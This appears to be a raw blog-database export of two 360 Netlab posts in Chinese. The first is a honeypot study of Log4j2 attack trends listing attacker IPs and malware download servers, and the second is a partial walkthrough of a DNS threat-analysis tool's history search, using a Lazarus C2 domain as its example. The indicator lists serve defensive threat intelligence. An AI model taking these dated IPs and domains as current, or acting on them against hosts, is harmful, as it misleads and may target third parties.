19.213.150\n176.10.104.240\n185.220.103.116\n205.185.125.45\n138.68.167.19\n101.71.38.231\n114.246.35.153\n103.194.184.98\n45.83.66.134\n45.83.66.175\n101.89.19.197\n152.70.110.78\n138.197.72.76\n114.254.20.186\n203.175.13.14\n139.59.97.205\n195.123.247.209\n117.139.38.130\n103.13.220.57\n122.161.48.150\n45.153.160.133\n185.14.47.20\n192.144.236.164\n45.153.160.140\n159.65.43.94\n95.141.35.15\n116.246.0.93\n137.184.109.130\n23.154.177.6\n45.83.67.234\n103.145.22.103\n183.160.4.88\n77.199.38.33\n185.220.101.137\n121.24.8.114\n115.151.228.18\n49.93.83.226\n45.83.67.48\n66.112.213.87\n45.76.191.147\n23.129.64.132\n138.197.193.220\n84.53.225.118\n15.165.232.131\n185.220.101.128\n125.33.172.90\n45.83.67.134\n101.206.168.120\n120.239.67.147\n157.245.102.218\n45.83.67.75\n49.118.75.38\n172.105.97.149\n117.36.0.131\n45.83.67.180\n211.148.73.182\n36.227.164.189\n45.83.65.40\n45.83.64.45\n167.172.69.175\n116.89.189.30\n185.220.101.13\n23.105.194.3\n155.94.151.218\n182.99.247.122\n54.199.27.97\n45.83.65.151\n182.118.237.42\n36.155.14.163\n216.24.191.27\n143.110.229.254\n203.218.252.81\n180.102.206.209\n103.149.162.116\n101.93.86.68\n18.204.199.0\n194.195.112.76\n47.102.205.237\n94.230.208.148\n115.60.103.185\n45.83.65.76\n45.83.64.223\n45.83.64.164\n198.98.59.65\n192.42.116.16\n89.238.178.213\n185.243.41.202\n45.83.65.94\n167.99.219.41\n13.231.10.223\n45.83.67.38\n167.99.88.151\n199.249.230.119\n172.105.194.253\n139.59.182.104\n123.122.133.12\n119.160.234.68\n1.209.47.241\n115.151.228.146\n182.118.237.234\n120.228.88.232\n178.62.32.211\n45.83.67.203\n171.218.53.30\n185.232.23.46\n198.98.60.19\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 61b7655d3819e50007636f1b |
post | null | 2021-12-20T03:07:55.000Z | 63873b9a8b1c1e0007f53001 | apache-log4j2-vulnerability-attack-trend-from-the-perspective-of-honeypot | 0 | 2022-04-08T06:29:32.000Z | public | published | null | 2021-12-21T04:13:23.000Z | 从蜜罐视角看Apache Log4j2漏洞攻击趋势 | <!--kg-card-begin: markdown--><h2 id="1">1 概述</h2>
<p>Apache Log4j2是一个Java的日志库，可用于控制日志信息的级别和日志生成过程。最近，Apache Log4j2被曝出JNDI注入漏洞（CVE-2021-44228），攻击者仅需要向目标服务器发送特定JNDI链接就可以触发漏洞并在目标机器上执行任意代码，影响面和破坏力极大。受影响用户需及时升级到安全版本。</p>
<p>360网络安全研究院 Anglerfish蜜罐系统在搜集网络攻击威胁情报领域具有国际领先的技术优势。从2017年WannaCry勒索病毒爆发至今，我们通过对网络攻击常见套路的分析和总结，模拟了大量应用协议和漏洞特征。该系统已经具备及时发现并响应大网威胁的能力，在第一时间内发现了多起大规模网络攻击事件。</p>
<p>北京时间2021年12月10日凌晨0:20，距离漏洞公开不足一天，该系统就首次捕获到了Apache Log4j2漏洞相关攻击。截至12月17日，该系统共捕获2042个攻击源IP（其中中国250个，国外1792个）发起的利用Apache Log4j2漏洞的攻击72242次，攻击源IP涉及54个国家，发现132个攻击源IP利用该漏洞传播了属于30个恶意软件家族的617个已知恶意软件md5。</p>
<h2 id="2">2 甲方的相关需求</h2>
<p>对于受影响的甲方而言，在采用安全产品进行防御，以及对相关组件的紧急修复也存在着一些“坑”，比如下面这些：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-17.png" class="kg-image" alt loading="lazy"></figure><p>对于传统安全产品和紧急修复措施存在的种种问题，威胁情报是一个非常好的补充。甲方可根据威胁情报，针对性地阻断漏洞攻击源IP和下载服务器链接，为资产打上“预防针”。</p><h2 id="3-">3 威胁情报的视角</h2><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-34.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>上图是漏洞攻击数量随时间变化的曲线，可以看出漏洞曝光后，攻击会话的数量在接下来的几天内快速上升。在攻击会话数最多的12月18日，一天内有超过28000次的攻击会话。12月13日开始，还出现了该漏洞与其他漏洞（Apache Flink、Hadoop、Apache Struts2漏洞等）的组合攻击。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-19.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>上图是主要的攻击源IP，可以看出发起漏洞攻击最多的源IP地址为<strong>78.31.71.248</strong>，占总体IP攻击数的约9%，其它主要的攻击源IP见右边图例。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>在传播恶意软件方面，我们最早在12月11日8点整率先捕获到了Muhstik僵尸网络样本，随着时间推移，恶意软件传播的数量明显增加。</p>
<table>
<thead>
<tr>
<th>攻击源IP</th>
<th>传播恶意软件会话数</th>
<th>恶意软件md5</th>
<th>恶意软件家族</th>
</tr>
</thead>
<tbody>
<tr>
<td>170.210.45.163</td>
<td>4,753</td>
<td>28</td>
<td>6</td>
</tr>
<tr>
<td>167.71.175.10</td>
<td>4,678</td>
<td>15</td>
<td>4</td>
</tr>
<tr>
<td>164.52.53.163</td>
<td>3,926</td>
<td>30</td>
<td>6</td>
</tr>
<tr>
<td>46.105.95.220</td>
<td>3,710</td>
<td>30</td>
<td>6</td>
</tr>
<tr>
<td>1.116.59.211</td>
<td>2,824</td>
<td>31</td>
<td>6</td>
</tr>
<tr>
<td>89.249.63.3</td>
<td>2,195</td>
<td>31</td>
<td>6</td>
</tr>
<tr>
<td>86.109.208.194</td>
<td>2,121</td>
<td>29</td>
<td>6</td>
</tr>
<tr>
<td>178.176.202.121</td>
<td>2,081</td>
<td>29</td>
<td>6</td>
</tr>
<tr>
<td>175.6.210.66</td>
<td>2,025</td>
<td>30</td>
<td>7</td>
</tr>
<tr>
<td>191.232.38.25</td>
<td>1,776</td>
<td>23</td>
<td>6</td>
</tr>
<tr>
<td>上表列出了利用Apache Log4j2漏洞传播恶意软件最多的10个IP，以及这些IP传播恶意软件md5的数量和恶意软件家族数量。</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-28.png" class="kg-image" alt loading="lazy"></figure><p>我们按照ssdeep值对捕获的1083个可执行文件和Java 字节码类型的样本进行聚类分析，共得到107类样本，主要为Java字节码文件，其中的30类617个恶意软件md5我们可以识别出属于特定的恶意软件家族，剩下的目前还未知。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-25.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>从恶意软件的下载服务器来看，<strong>34.221.40.237</strong>是出现次数最多的下载服务器，有接近一半的恶意软件都来自这个下载服务器。这是一个位于美国的AWS云服务器IP，其它常见的下载服务器见上图右边的图例，下表列出了攻击者使用的10个下载服务器。</p>
<table>
<thead>
<tr>
<th>域名/IP</th>
<th>攻击源IP数量</th>
<th>恶意软件数量</th>
<th>恶意软件家族</th>
<th>传播会话次数</th>
</tr>
</thead>
<tbody>
<tr>
<td>34.221.40.237</td>
<td>102</td>
<td>8</td>
<td>2</td>
<td>50,358</td>
</tr>
<tr>
<td>159.89.182.117</td>
<td>102</td>
<td>1</td>
<td>1</td>
<td>1,850</td>
</tr>
<tr>
<td>18.228.7.109</td>
<td>75</td>
<td>15</td>
<td>1</td>
<td>2,947</td>
</tr>
<tr>
<td>31.220.58.29</td>
<td>73</td>
<td>6</td>
<td>2</td>
<td>467</td>
</tr>
<tr>
<td>137.184.174.180</td>
<td>66</td>
<td>1</td>
<td>1</td>
<td>1,097</td>
</tr>
<tr>
<td>68.183.165.105</td>
<td>66</td>
<td>5</td>
<td>1</td>
<td>6,334</td>
</tr>
<tr>
<td>210.141.105.67</td>
<td>51</td>
<td>1</td>
<td>1</td>
<td>183</td>
</tr>
<tr>
<td>45.130.229.168</td>
<td>15</td>
<td>1</td>
<td>1</td>
<td>34</td>
</tr>
<tr>
<td>103.13.230.149</td>
<td>14</td>
<td>6</td>
<td>1</td>
<td>156</td>
</tr>
<tr>
<td>54.210.230.186</td>
<td>14</td>
<td>1</td>
<td>1</td>
<td>19</td>
</tr>
<tr>
<td>45.80.181.55</td>
<td>6</td>
<td>6</td>
<td>1</td>
<td>54</td>
</tr>
</tbody>
</table>
<p>在可以溯源的攻击源IP中，大多数攻击来自于Alpha Strike Labs（一家德国网络安全企业）的漏洞扫描测绘。除了安全厂商和研究机构外，还有大量来自Tor出口节点的攻击。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/12/image-26.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h2 id="4">4 把威胁情报用于攻击防护</h2>
<p>威胁情报可以帮助相关单位了解公网上正在发生的漏洞攻击的趋势和攻击者的来源，帮助用户及时把还未发生的网络攻击事件扼杀在摇篮中，具有使用方法简单，数据内容丰富，准确性高，并且不会对业务产生影响等优势。</p>
<p>此次Apache Log4j2 RCE漏洞攻击对网络安全产品是一次大考，面对未知漏洞攻击，表现不尽人意。</p>
<p>360 Anglerfish蜜罐系统通过多样的协议、应用和漏洞模拟和部署在全球范围的公网节点，及时、快速发现和捕获网络攻击威胁相关信息，并支持自动化输出漏洞利用，扫描协议、组织溯源和恶意样本四个维度的威胁情报。</p>
<!--kg-card-end: markdown--> | 1 概述
Apache Log4j2是一个Java的日志库，可用于控制日志信息的级别和日志生成过程。最近，Apache Log4j2被曝出JNDI注入漏洞（CVE-2021-44228），攻击者仅需要向目标服务器发送特定JNDI链接就可以触发漏洞并在目标机器上执行任意代码，影响面和破坏力极大。受影响用户需及时升级到安全版本。
360网络安全研究院 Anglerfish蜜罐系统在搜集网络攻击威胁情报领域具有国际领先的技术优势。从2017年WannaCry勒索病毒爆发至今，我们通过对网络攻击常见套路的分析和总结，模拟了大量应用协议和漏洞特征。该系统已经具备及时发现并响应大网威胁的能力，在第一时间内发现了多起大规模网络攻击事件。
北京时间2021年12月10日凌晨0:20，距离漏洞公开不足一天，该系统就首次捕获到了Apache Log4j2漏洞相关攻击。截至12月17日，该系统共捕获2042个攻击源IP（其中中国250个，国外1792个）发起的利用Apache Log4j2漏洞的攻击72242次，攻击源IP涉及54个国家，发现132个攻击源IP利用该漏洞传播了属于30个恶意软件家族的617个已知恶意软件md5。
2 甲方的相关需求
对于受影响的甲方而言，在采用安全产品进行防御，以及对相关组件的紧急修复也存在着一些“坑”，比如下面这些：
对于传统安全产品和紧急修复措施存在的种种问题，威胁情报是一个非常好的补充。甲方可根据威胁情报，针对性地阻断漏洞攻击源IP和下载服务器链接，为资产打上“预防针”。
3 威胁情报的视角
上图是漏洞攻击数量随时间变化的曲线，可以看出漏洞曝光后，攻击会话的数量在接下来的几天内快速上升。在攻击会话数最多的12月18日，一天内有超过28000次的攻击会话。12月13日开始，还出现了该漏洞与其他漏洞（Apache Flink、Hadoop、Apache Struts2漏洞等）的组合攻击。
上图是主要的攻击源IP，可以看出发起漏洞攻击最多的源IP地址为78.31.71.248，占总体IP攻击数的约9%，其它主要的攻击源IP见右边图例。
在传播恶意软件方面，我们最早在12月11日8点整率先捕获到了Muhstik僵尸网络样本，随着时间推移，恶意软件传播的数量明显增加。
攻击源IP
传播恶意软件会话数
恶意软件md5
恶意软件家族
170.210.45.163
4,753
28
6
167.71.175.10
4,678
15
4
164.52.53.163
3,926
30
6
46.105.95.220
3,710
30
6
1.116.59.211
2,824
31
6
89.249.63.3
2,195
31
6
86.109.208.194
2,121
29
6
178.176.202.121
2,081
29
6
175.6.210.66
2,025
30
7
191.232.38.25
1,776
23
6
上表列出了利用Apache Log4j2漏洞传播恶意软件最多的10个IP，以及这些IP传播恶意软件md5的数量和恶意软件家族数量。
我们按照ssdeep值对捕获的1083个可执行文件和Java 字节码类型的样本进行聚类分析，共得到107类样本，主要为Java字节码文件，其中的30类617个恶意软件md5我们可以识别出属于特定的恶意软件家族，剩下的目前还未知。
从恶意软件的下载服务器来看，34.221.40.237是出现次数最多的下载服务器，有接近一半的恶意软件都来自这个下载服务器。这是一个位于美国的AWS云服务器IP，其它常见的下载服务器见上图右边的图例，下表列出了攻击者使用的10个下载服务器。
域名/IP
攻击源IP数量
恶意软件数量
恶意软件家族
传播会话次数
34.221.40.237
102
8
2
50,358
159.89.182.117
102
1
1
1,850
18.228.7.109
75
15
1
2,947
31.220.58.29
73
6
2
467
137.184.174.180
66
1
1
1,097
68.183.165.105
66
5
1
6,334
210.141.105.67
51
1
1
183
45.130.229.168
15
1
1
34
103.13.230.149
14
6
1
156
54.210.230.186
14
1
1
19
45.80.181.55
6
6
1
54
在可以溯源的攻击源IP中，大多数攻击来自于Alpha Strike Labs（一家德国网络安全企业）的漏洞扫描测绘。除了安全厂商和研究机构外，还有大量来自Tor出口节点的攻击。
4 把威胁情报用于攻击防护
威胁情报可以帮助相关单位了解公网上正在发生的漏洞攻击的趋势和攻击者的来源，帮助用户及时把还未发生的网络攻击事件扼杀在摇篮中，具有使用方法简单，数据内容丰富，准确性高，并且不会对业务产生影响等优势。
此次Apache Log4j2 RCE漏洞攻击对网络安全产品是一次大考，面对未知漏洞攻击，表现不尽人意。
360 Anglerfish蜜罐系统通过多样的协议、应用和漏洞模拟和部署在全球范围的公网节点，及时、快速发现和捕获网络攻击威胁相关信息，并支持自动化输出漏洞利用，扫描协议、组织溯源和恶意样本四个维度的威胁情报。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 1 概述\n\nApache Log4j2是一个Java的日志库，可用于控制日志信息的级别和日志生成过程。最近，Apache Log4j2被曝出JNDI注入漏洞（CVE-2021-44228），攻击者仅需要向目标服务器发送特定JNDI链接就可以触发漏洞并在目标机器上执行任意代码，影响面和破坏力极大。受影响用户需及时升级到安全版本。\n\n360网络安全研究院 Anglerfish蜜罐系统在搜集网络攻击威胁情报领域具有国际领先的技术优势。从2017年WannaCry勒索病毒爆发至今，我们通过对网络攻击常见套路的分析和总结，模拟了大量应用协议和漏洞特征。该系统已经具备及时发现并响应大网威胁的能力，在第一时间内发现了多起大规模网络攻击事件。\n\n北京时间2021年12月10日凌晨0:20，距离漏洞公开不足一天，该系统就首次捕获到了Apache Log4j2漏洞相关攻击。截至12月17日，该系统共捕获2042个攻击源IP（其中中国250个，国外1792个）发起的利用Apache Log4j2漏洞的攻击72242次，攻击源IP涉及54个国家，发现132个攻击源IP利用该漏洞传播了属于30个恶意软件家族的617个已知恶意软件md5。\n\n\n\n## 2 甲方的相关需求\n\n对于受影响的甲方而言，在采用安全产品进行防御，以及对相关组件的紧急修复也存在着一些“坑”，比如下面这些："}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-17.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-34.png"}],["markdown",{"markdown":"上图是漏洞攻击数量随时间变化的曲线，可以看出漏洞曝光后，攻击会话的数量在接下来的几天内快速上升。在攻击会话数最多的12月18日，一天内有超过28000次的攻击会话。12月13日开始，还出现了该漏洞与其他漏洞（Apache Flink、Hadoop、Apache Struts2漏洞等）的组合攻击。"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-19.png"}],["markdown",{"markdown":"上图是主要的攻击源IP，可以看出发起漏洞攻击最多的源IP地址为**78.31.71.248**，占总体IP攻击数的约9%，其它主要的攻击源IP见右边图例。"}],["markdown",{"markdown":"在传播恶意软件方面，我们最早在12月11日8点整率先捕获到了Muhstik僵尸网络样本，随着时间推移，恶意软件传播的数量明显增加。\n\n| 攻击源IP | 传播恶意软件会话数 | 恶意软件md5 | 恶意软件家族 |\n| --------------- | ------------------ | ----------- | ------------ |\n| 170.210.45.163 | 4,753 | 28 | 6 |\n| 167.71.175.10 | 4,678 | 15 | 4 |\n| 164.52.53.163 | 3,926 | 30 | 6 |\n| 46.105.95.220 | 3,710 | 30 | 6 |\n| 1.116.59.211 | 2,824 | 31 | 6 |\n| 89.249.63.3 | 2,195 | 31 | 6 |\n| 86.109.208.194 | 2,121 | 29 | 6 |\n| 178.176.202.121 | 2,081 | 29 | 6 |\n| 175.6.210.66 | 2,025 | 30 | 7 |\n| 191.232.38.25 | 1,776 | 23 | 6 |\n上表列出了利用Apache Log4j2漏洞传播恶意软件最多的10个IP，以及这些IP传播恶意软件md5的数量和恶意软件家族数量。\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-28.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-25.png"}],["markdown",{"markdown":"从恶意软件的下载服务器来看，**34.221.40.237**是出现次数最多的下载服务器，有接近一半的恶意软件都来自这个下载服务器。这是一个位于美国的AWS云服务器IP，其它常见的下载服务器见上图右边的图例，下表列出了攻击者使用的10个下载服务器。\n\n| 域名/IP | 攻击源IP数量 | 恶意软件数量 | 恶意软件家族 | 传播会话次数 |\n| --------------- | ------------ | ------------ | ------------ | ------------ |\n| 34.221.40.237 | 102 | 8 | 2 | 50,358 |\n| 159.89.182.117 | 102 | 1 | 1 | 1,850 |\n| 18.228.7.109 | 75 | 15 | 1 | 2,947 |\n| 31.220.58.29 | 73 | 6 | 2 | 467 |\n| 137.184.174.180 | 66 | 1 | 1 | 1,097 |\n| 68.183.165.105 | 66 | 5 | 1 | 6,334 |\n| 210.141.105.67 | 51 | 1 | 1 | 183 |\n| 45.130.229.168 | 15 | 1 | 1 | 34 |\n| 103.13.230.149 | 14 | 6 | 1 | 156 |\n| 54.210.230.186 | 14 | 1 | 1 | 19 |\n| 45.80.181.55 | 6 | 6 | 1 | 54 |\n\n在可以溯源的攻击源IP中，大多数攻击来自于Alpha Strike Labs（一家德国网络安全企业）的漏洞扫描测绘。除了安全厂商和研究机构外，还有大量来自Tor出口节点的攻击。"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-26.png"}],["markdown",{"markdown":"\n## 4 把威胁情报用于攻击防护\n威胁情报可以帮助相关单位了解公网上正在发生的漏洞攻击的趋势和攻击者的来源，帮助用户及时把还未发生的网络攻击事件扼杀在摇篮中，具有使用方法简单，数据内容丰富，准确性高，并且不会对业务产生影响等优势。\n\n此次Apache Log4j2 RCE漏洞攻击对网络安全产品是一次大考，面对未知漏洞攻击，表现不尽人意。\n\n\n360 Anglerfish蜜罐系统通过多样的协议、应用和漏洞模拟和部署在全球范围的公网节点，及时、快速发现和捕获网络攻击威胁相关信息，并支持自动化输出漏洞利用，扫描协议、组织溯源和恶意样本四个维度的威胁情报。\n\n"}]],"markups":[],"sections":[[10,0],[10,1],[1,"p",[[0,[],0,"对于传统安全产品和紧急修复措施存在的种种问题，威胁情报是一个非常好的补充。甲方可根据威胁情报，针对性地阻断漏洞攻击源IP和下载服务器链接，为资产打上“预防针”。"]]],[1,"h2",[[0,[],0,"3 威胁情报的视角"]]],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[1,"p",[[0,[],0,"我们按照ssdeep值对捕获的1083个可执行文件和Java 字节码类型的样本进行聚类分析，共得到107类样本，主要为Java字节码文件，其中的30类617个恶意软件md5我们可以识别出属于特定的恶意软件家族，剩下的目前还未知。"]]],[10,8],[10,9],[10,10],[10,11],[1,"p",[]]],"ghostVersion":"3.0"} | 61bff38b3819e50007636f75 |
post | null | 2021-12-20T08:00:16.000Z | 63873b9a8b1c1e0007f53002 | use_dta_to_illuminate_the_path_of_dns_threat_analysis_1 | 0 | 2022-01-12T02:35:10.000Z | public | published | null | 2021-12-27T02:50:48.000Z | 用DTA照亮DNS威胁分析之路 (1) | <p><strong><em>--- “历史重现”小功能</em></strong></p><h2 id="-">概述</h2><p>2021年10月，<a href="__GHOST_URL__/360dta-announced/">《七年一剑，360 DNS威胁分析平台》</a>宣告了360 DNS威胁分析平台(简称DTA)的诞生。在文章开头，Netlab阐述了设计DTA的核心理念：</p><!--kg-card-begin: markdown--><blockquote>
<p>让情报发挥应有价值<br>
让威胁分析真正有效</p>
</blockquote>
<!--kg-card-end: markdown--><p>理念是简洁的，也是抽象的。18个字背后，对应着Neltab 7年的安全研究经验；而7年的沉淀，又在2年时间的打磨里，变成了DTA众多的功能。为了让抽象的理念具象化，后续，我们将推出一系列DTA相关博文，希望通过这些文章案例，在介绍产品某个具体功能如何使用的同时，顺带说明理念是怎样指导功能设计的；也希望这些示例，能为DTA的进阶使用者提供入门参考。</p><p>需要提醒使用者的是，DTA是一款灵活的数据分析产品，它一端连接着用户网络的全量DNS数据，另一端连接着360海量云端数据，DTA将这两者汇合，并在平台上努力提供得心应手的各种预置操作工具和大量预处理模型。但全量和海量的二者碰撞，究竟能演绎出多少精彩的内容，绝对是和使用者有极大关系的。在平台上，已经准备好了组件和工具，也有我们一直在更新迭代搭建完成的模型，但模型如何使用，不同的模型如何组合和拼接，有各种可能性。管理员按照自己的技术能力水平，既可以傻瓜式使用系统内置的数据结果，也可以组合和使用不同的模块及产出的数据，对DNS的数据进行观察，对用户、告警进行深入高阶分析，请发挥想象，不要被博文介绍的入门内容限制住了思路。</p><p>本文是系列文章的第一篇，我们从一个非常简单，即使是新手上路的同学也很容易理解的“历史重现”功能，简单的串下DTA的一些功能元素。</p><h2 id="--1">场景</h2><p>作为公司的安全运营人员，在获取到新的威胁情报时，除了将IoC加入到安全产品，应该还会有这样的疑虑，举例来说：</p><p>比如360的安全运营人员，在2021-11-10，当看到ESET在twitter上发布了一则关于<a href="https://twitter.com/esetresearch/status/1458438155149922312">Lazarus使用带后门IDA攻击安全分析人员</a>的消息时，他心里应该会想：我们是安全公司，IDA使用普遍，公司内会不会有人碰巧违规使用了这些软件？如果有，是什么时间什么资产在使用？</p><p>DTA解决这个问题的理念是：“让情报发挥应有价值”。情报的价值，不应局限于“现在”和“将来”的IoC匹配告警；当新情报出现时，也应该能够在“过去”的历史数据里挖掘出应有价值。</p><p>那产品的功能是如何实现的呢？</p><h2 id="--2">数据</h2><p>首先，这个和DTA分析对象有关，它分析的是全量DNS日志数据。</p><p>DNS简单且重要。<a href="__GHOST_URL__/360dta-announced/">据统计，DNS在企业网全流量里占比小，但超过80%的恶意软件却和DNS协议相关。</a>因此，DTA只要把好DNS这个关口，也能帮助企业发现大部分威胁。具体到真实的公司环境，比如一个拥有6000名员工的公司，日常的DNS流量在10~15Mbps之间，换算成每秒请求数(query per second)，为5千~8千qps，一天的总量大概在7亿。和全流量比，这个量级可以让DTA <strong><em>以年为单位 </em></strong>存储全量DNS日志(下文称DNS日志数据库)，而对存储和算力的要求，普通服务器就可以满足。</p><p>其次，DTA内部集成了一个mini PDNS，其功能类似于Netlab从2014年开始运维的中国最大公开PDNS数据库(<a href="https://passivedns.cn/">passivedns.cn</a>)，会以极低的成本存储自DTA接入以来的全量DNS数据，并提供快速查询。</p><p>有了这两个数据的支持，在平台上实现“历史重现”的功能就是水到渠成的事情了。</p><h2 id="--3">功能</h2><p>根据IoC数量的不同，DTA平台提供了两种查询方式。还是以ESET提到的带后门IDA例子为例。</p><h3 id="-ioc">单个IoC</h3><p>在推文里，提供了一个C2域名：devguardmap[.]org。</p><p>我们在“全局搜索栏”里选择搜索类别：域名，然后输入或ctrl+v粘贴想要查询的域名，如果该域名在历史上没有被公司内的任何资产访问过，会提示“没有数据”。此刻，您可以放宽心了。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/03-1.png" class="kg-image" alt loading="lazy"><figcaption>图-1 全局搜索栏无命中</figcaption></figure><p>如果有命中，也先别惊慌，进一步选择域名查看详情再做结论。打个岔，从“搜索结果”可以看出，搜索结果会把满足子串匹配的所有域名也都列举出来供选择。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/04.png" class="kg-image" alt loading="lazy"><figcaption>图-2 全局搜索栏有命中</figcaption></figure><p>图-3是360内部对该域名的访问情况，两个关键信息：1、在右上角指定的时间范围内，共有11个资产访问了该域名；2、该域名在公司网络内出现的首次时间是：2021-11-11 10:39:25。由于时间是在推文发布(2021-11-10)之后，可以猜测大概率是研究人员在复盘，不是真实的感染。王婆卖瓜一下，360对安全事件的反应还是挺迅速的:)。进一步的，可以点击左侧栏的资产列表，对安全运营人员来说，结合其它信息，能定位到是哪些员工在跟进这个事件。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/01.png" class="kg-image" alt loading="lazy"><figcaption>图-3 域名详情页面</figcaption></figure><p>对安全敏感的读者，也许已经注意到域名的下方，有多个tabs，这些tabs里面有DTA系统的多种模型，从数据维度提炼和展现相关对象的多种角度的数据结果，比如这里面有3个橙色的标签：“可疑境外域名”、“UnknownThreat.persistent_access”和“可疑心跳域名”，这些标签是DTA内置的未知威胁模型在分析关联多个维度数据后给出的“可疑域名”判定。橙色标签就像交通灯亮起了黄灯，警示分析人员需要做进一步的分析。至于如何做进一步的分析，找出真实的威胁，后面其它文章细聊。</p><p>读者请注意，我们这里举的是一个历史数据的简单匹配，但DTA对这个简单例子的处理方式，和传统意义上的安全事件告警响应系统或者日志查询有很多的不同，如果仔细体会例子的各种细节，应该能感觉到系统从底层数据到页面布局，都是为方便展开威胁分析而设计的。把页面比作操作台，那操作台上既有原材料(用户的DNS数据和360的云端数据)，也有DTA自动产出的大量的预处理结果和不同的各种相关组件内容(可疑域名标签，资产类别，用户行为偏好等)，类似于乐高片，分析人员按照自己的经验想法，依次组合这些组件，可能就形成了一类有效的威胁分析。依照自己的能力水平，既可以浅尝辄止，也可以持续深入，从完全未知一步步向真相迈进。</p><h3 id="-ioc-1">多个IoC</h3><p>在推文里，还出现了另一个域名：www[.]devguardmap[.]org。对多个IoC，DTA通过“威胁分析”页面实现历史数据查询。</p><p>“威胁分析”页面提供两种查询方式：1、熟悉语法的，直接书写“查询表达式”；2、不熟悉语法的，在右侧“构建表达式”里分别点击选择查询类别，运算符，输入或选择查询内容，最后点击“应用”按钮开始查询。</p><p>查询完成后，通过点击图-4的“2个域名”，“解析到1个IP”，“涉及11个资产”，“共14个请求”等按钮，查询结果会以4种不同的视角，即域名，Rdata，资产，请求时序的角度展现历史DNS请求解析情况。通过更多的角度观察同一份数据，能有效帮助分析人员形成威胁判研。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/02-1.png" class="kg-image" alt loading="lazy"><figcaption>图-4 威胁分析页面</figcaption></figure><h2 id="--4">结语</h2><p>本文以“历史重现”小功能为起点，通过实例细节，展示了这个功能点是如何和核心理念的第1条对应起来的。您在使用DTA时，也可以多观察，还有哪些功能点是和理念第1条相关的。后面，我们也会继续举例说明。</p><p>但下一篇，我们先来谈一谈核心理念的第2条：“让威胁分析真正有效”，看一看DTA是如何将360云端安全数据赋能到用户数据之上的，敬请期待。</p><p>产品、商务咨询，请联系 <a href="mailto:[email protected]">[email protected]</a></p> | --- “历史重现”小功能
概述
2021年10月，《七年一剑，360 DNS威胁分析平台》宣告了360 DNS威胁分析平台(简称DTA)的诞生。在文章开头，Netlab阐述了设计DTA的核心理念：
让情报发挥应有价值
让威胁分析真正有效
理念是简洁的，也是抽象的。18个字背后，对应着Neltab 7年的安全研究经验；而7年的沉淀，又在2年时间的打磨里，变成了DTA众多的功能。为了让抽象的理念具象化，后续，我们将推出一系列DTA相关博文，希望通过这些文章案例，在介绍产品某个具体功能如何使用的同时，顺带说明理念是怎样指导功能设计的；也希望这些示例，能为DTA的进阶使用者提供入门参考。
需要提醒使用者的是，DTA是一款灵活的数据分析产品，它一端连接着用户网络的全量DNS数据，另一端连接着360海量云端数据，DTA将这两者汇合，并在平台上努力提供得心应手的各种预置操作工具和大量预处理模型。但全量和海量的二者碰撞，究竟能演绎出多少精彩的内容，绝对是和使用者有极大关系的。在平台上，已经准备好了组件和工具，也有我们一直在更新迭代搭建完成的模型，但模型如何使用，不同的模型如何组合和拼接，有各种可能性。管理员按照自己的技术能力水平，既可以傻瓜式使用系统内置的数据结果，也可以组合和使用不同的模块及产出的数据，对DNS的数据进行观察，对用户、告警进行深入高阶分析，请发挥想象，不要被博文介绍的入门内容限制住了思路。
本文是系列文章的第一篇，我们从一个非常简单，即使是新手上路的同学也很容易理解的“历史重现”功能，简单的串下DTA的一些功能元素。
场景
作为公司的安全运营人员，在获取到新的威胁情报时，除了将IoC加入到安全产品，应该还会有这样的疑虑，举例来说：
比如360的安全运营人员，在2021-11-10，当看到ESET在twitter上发布了一则关于Lazarus使用带后门IDA攻击安全分析人员的消息时，他心里应该会想：我们是安全公司，IDA使用普遍，公司内会不会有人碰巧违规使用了这些软件？如果有，是什么时间什么资产在使用？
DTA解决这个问题的理念是：“让情报发挥应有价值”。情报的价值，不应局限于“现在”和“将来”的IoC匹配告警；当新情报出现时，也应该能够在“过去”的历史数据里挖掘出应有价值。
那产品的功能是如何实现的呢？
数据
首先，这个和DTA分析对象有关，它分析的是全量DNS日志数据。
DNS简单且重要。据统计，DNS在企业网全流量里占比小，但超过80%的恶意软件却和DNS协议相关。因此，DTA只要把好DNS这个关口，也能帮助企业发现大部分威胁。具体到真实的公司环境，比如一个拥有6000名员工的公司，日常的DNS流量在10~15Mbps之间，换算成每秒请求数(query per second)，为5千~8千qps，一天的总量大概在7亿。和全流量比，这个量级可以让DTA 以年为单位 存储全量DNS日志(下文称DNS日志数据库)，而对存储和算力的要求，普通服务器就可以满足。
其次，DTA内部集成了一个mini PDNS，其功能类似于Netlab从2014年开始运维的中国最大公开PDNS数据库(passivedns.cn)，会以极低的成本存储自DTA接入以来的全量DNS数据，并提供快速查询。
